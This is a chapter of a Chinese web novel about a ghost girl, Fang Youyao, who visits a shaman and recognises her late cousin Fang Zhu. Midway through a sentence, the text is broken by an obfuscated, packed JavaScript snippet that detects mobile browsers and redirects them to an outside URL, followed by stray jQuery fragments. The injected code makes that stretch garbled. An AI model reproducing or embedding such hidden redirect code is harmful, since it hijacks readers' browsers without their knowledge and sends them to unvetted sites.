14. 崔方去庄请神婆

作品:《我在坟头当相士

    虽说崔家是商人,但宅子却也比作官的差不了多少。建在市里最好的地段。


    清晨时空气都泛着香甜。崔三桂将鹦鹉关进鸟笼。它叫嚷着,扒着铁笼不肯进去。


    那鸟笼呈银色,方有药有些怀疑这鸟笼是不是用银子做的。


    感受到她的注视,崔三桂不好意思地挠挠头,道:“姑娘见笑了,小桂一直如此。”


    小桂便是鹦鹉的名字。


    鹦鹉学舌果真名不虚传,小桂又学起来:“一直如此,一直如此。”


    进屋这么久,不见崔老爷。方有药四处张望,除了崔三桂,再没看见一个人影,连个家丁也不曾看见。


    崔三桂看出了方有药的奇怪,便道:“我父亲体恤下人,今日便都让他们休假去了。”


    崔宅不似京中繁华,该有的却都有。一座假山鱼池正对着大门。


    鱼池旁还种着一棵梅树。梅枝伸得极长,有几枝落入水中。鱼都围绕上去,以为是撒的鱼食。


    方有药一眼便瞧见坐在假山上钓鱼的老翁泥塑。


    池子里的鱼个头肥大,一番跳跃,将水溅得有三尺高。


    崔三桂老早便注意到她手中的玉佩。是块好料子,但可惜有几条裂缝。


    与他呆的久了,方有药便觉身上充满阳气。离开崔三桂也不会被宪加找到,她不知道得待到何时。


    崔三桂传了郎中,将她肩膀上沾血的绷带给解下。


    那撕裂的伤口触目惊心,崔三桂守在门外,手里抓着一把鸟食。


    “姑娘记得切莫再让它流血了。”郎中叮嘱道。


    方有药应和着点头。


    她也不想让伤口撕裂,但每次裂开还不都是因为宪加。


    方有药与崔三桂一同送走了郎中,他还留下了药,方有药随手一放,就不知道塞进了哪里。


    崔三桂倒了杯茶。


    方有药暗自感叹这些有钱人家的泡茶技术怎么都这样好。


    要是能聘请到坟头专门泡茶就好了。


    他将热气吹散,问道:“姑娘可否细说你为何被追杀?”


    想来也是,崔三桂怎能听信她的一面之词就相信她。


    万一是歹人可就得不偿失了。


    “


    公子可信神佛?可知世上有鬼?”方有药一副神秘模样,将茶盏放在桌上。


    崔三桂咽了口茶,道:“自然是信的。不然为何灵堂里还建有佛像?”


    她叹了口气:“我今近日被一只鬼盯上了,他想取我性命。”


    崔三桂显然震惊,他还未曾听闻被鬼追杀一事。


    他激动地一拍手心,“姑娘,我知道有一神婆可驱鬼,姑娘若是信得过,便随我一同去?”


    方有药不信什么神婆,但也应了声。


    就算死马当活马医。比一直躲着强。


    崔三桂的执行能力不是一般强,当即备好了轿子,只差方有药坐上去。


    “你是不是有些急切?”


    她欲言又止,几次三番想张口。


    “方姑娘的事,便是我的事。待神婆看完,我便顺势送你回方府。”


    方有药内心想大可不必,她还得去找陈楼寻执念呢。


    此时天大亮,估摸着时间,陈楼应该已经起床。


    看到床铺上无人,内心该焦急吧。


    她叹了口气,想象到陈楼寻找她的模样。她第一个想到的会是道观。


    万一宪加还在,遇上他可就麻烦了。


    如若不在,那她便可将马牵回去。


    崔三桂扶着她上了马车。不知从哪里窜出来的马夫,拉着马,守在门口。


    他将那只鹦鹉也给带上了。


    不过是放在车夫那儿,里面也算清净。


    两人一同坐内,方有药不知说些什么。谁也不吭声,气氛有些尴尬。


    最终是崔三桂先受不了,开口道:“姑娘是怎么被鬼盯上的?又是怎么知道自己被盯上了?”


    “他伪装成常人小孩收留了他,谁知竟反咬一口,要夺我性命。”


    她丝毫不隐瞒,巴不得所有人都知道宪加的恩将仇报。


    虽然捡到他的人不是自己。


    崔三桂摸着下巴思考:“看来确实是那鬼恶心人。姑娘真是好心当驴肝肺。”


    这座马车的窗子没安帘子,方有药很容易便看到外面景色。


    虽远远没有上京城的热闹,却也比村庄里好了百倍。


    众人纷纷往马车里瞧。看见的是崔少爷与一位陌生女子。


    “里头坐的那位莫不是崔少爷的未婚妻?”


    “看着相貌极好,与崔少爷也算般配。”


    “谁能瞧出来是哪家女儿?”


    众人七嘴八舌地议论,这些话无一例外,全部传入了方有药的耳朵。


    她更加坐立难安,更不敢注视崔三桂的眼睛。


    “我头一次与人共乘,你不要在意他们说的话。回头我再教训他们。”


    一路上都是崔三桂在找话,一停下来,马车里又回归尴尬。


    神婆住在京城的另一边,与日上观的方向截然相反。


    她放下心来,就怕神婆与宪加挨得近。


    这个村庄比茅草屋那边好不了多少,荒地上到处都是白骨。雪下得大,一些分散的骨头都埋在雪中。


    马车驶过时,轮子压在上面“吱吱”作响。


    外面的寒气飘进来,方有药忍不住打了个喷嚏。


    她穿的单薄,实际上也感受不到冷。


    但崔三桂将自己的狐裘脱下来,罩在方有药身上。


    她受宠若惊,道:“我不冷,真的。”


    “我穿的厚实,再盖个狐裘真就像在过夏一样,姑娘旦盖无妨。”


    话都已经这么说,方有药便不再推脱。望着窗外皑皑白雪,她似乎感到自己的手有些升温。


    她死那一日也是大雪,犹记得床榻很暖。她摸上狐裘,就如那夜厚重的被子。


    一阵颠簸后,马车稳稳停在村庄口。方有药从窗口看去,一排排房屋很是整齐。


    “神婆住在最里面,马车进不去,我们得下来走一段。”


    崔三桂撩开马车帘子,率先下了车。


    梯阶设的有些高,方有药一脚踩空,差点将狐裘甩了出去。她及时拉住帘子,帘子边角已有破损痕迹。


    “姑娘小心些。”


    崔三桂扶住她时,方有药已经在皑皑白雪上留下脚印。


    “多谢公子提醒。”


    她回头看那梯阶。


    上面结了一层薄薄的冰。崔三桂能站稳,完全是因为他鞋底花纹多。


    也不怪她会滑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091398|178856||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倒。


    方有药将狐裘重新系紧,这才走进村庄。


    车夫将马车拉到树下,向村民要了桶热水和抹布,将结冰处一点点弄掉。


    这地方她没有来过,人生地不熟,方有药留了个心眼,就怕被崔三桂给绑去卖了。


    鹦鹉停在崔三桂肩上并不老实,挣扎着飞到方有药得肩膀上。


    这次倒是轻,没抓到她的伤口。


    鹦鹉拿头蹭了蹭方有药脖颈,就差朝衣服里钻去。


    神婆的房子与想象中不同。方有药以为会是像道观那样的,再不济也比周围富裕些。


    可这恰恰相反。


    房子简直比陈楼的茅草屋还简陋。周围都是好歹有茅草,她这连屋顶也没有。


    要是遇上雨可怎么办?


    “神婆这屋顶也被风刮了去?”方有药讪讪开口。


    “不,她下雨就去附近道观住。”


    “看来这神婆心境不是一般的高……”她感叹。


    神婆不在家,他们在屋前守着。不久,就见一个戴着帽子的年轻女人来到跟前。


    “你们站在我家门口做何?”


    女人手中还提着一袋大米,见两人堵在门口,顺势将大米放下。


    她一眼就看到了方有药,道:“你最近有血光之灾。”


    崔三桂让开道路,“我朋友近日被一小鬼缠上,特来找您帮忙驱驱邪。”


    崔三桂这话中无一不告诉她,眼前这个看起来没经历过任何风吹雨打的女人,就是他们要找的神婆。


    而她第一眼就注意到了方有药的不对!


    “是我。”她出声。


    神婆上下扫视了她一眼,帽檐遮盖下也看不出她的神情。


    “请进。”


    崔三桂帮神婆将大米提了进去。


    屋子很小,三个人站进去足以将房子填满。


    里面就个茅草扎成的床,几个锅碗瓢盆,连个解手的地方也没有。


    神婆从隔壁借来三把椅子,一一放在外面。


    “我屋子小,就不让你们进去了。”


    她将帽子取下挂在椅子的靠背上。露出了白皙的脸。


    方有药顿时惊得说不出话。


    不看她的脸,光看她的身形,方有药便觉得有些熟悉。


    头发梳得一丝不苟,双眼含情脉脉,耳侧有着红色胎记,不正是她生前的表妹方株!


    “敢问姑娘姓名?”她不敢确认,只能询问姓名。


    “方株。”


    “年龄呢?”


    “十五。”


    方有药内心仿佛有千万头野马奔腾而过,面上却丝毫不显。


    “不想姑娘年纪轻轻就有如此成就,真是佩服。”


    这位表妹是她叔叔同歌姬鬼混的结果。自己房里有位太太,却偏要日日逛窑。有了孩子也不知道。


    方株是在十六的时候被方老爷找回来的。


    那位歌姬不知下落,叔叔也在寻回来不久就暴毙身亡。


    她记得这位表妹回府时明明痴痴傻傻,更是在第二天便落水身亡,哪有这副清明的样子。


    “问了我的姓名年龄,何不报上自己?”方株坐着没个正行。


    “我名方有药,十五。”


    方株此时应该还不认识她,她便想也没想就报出姓名。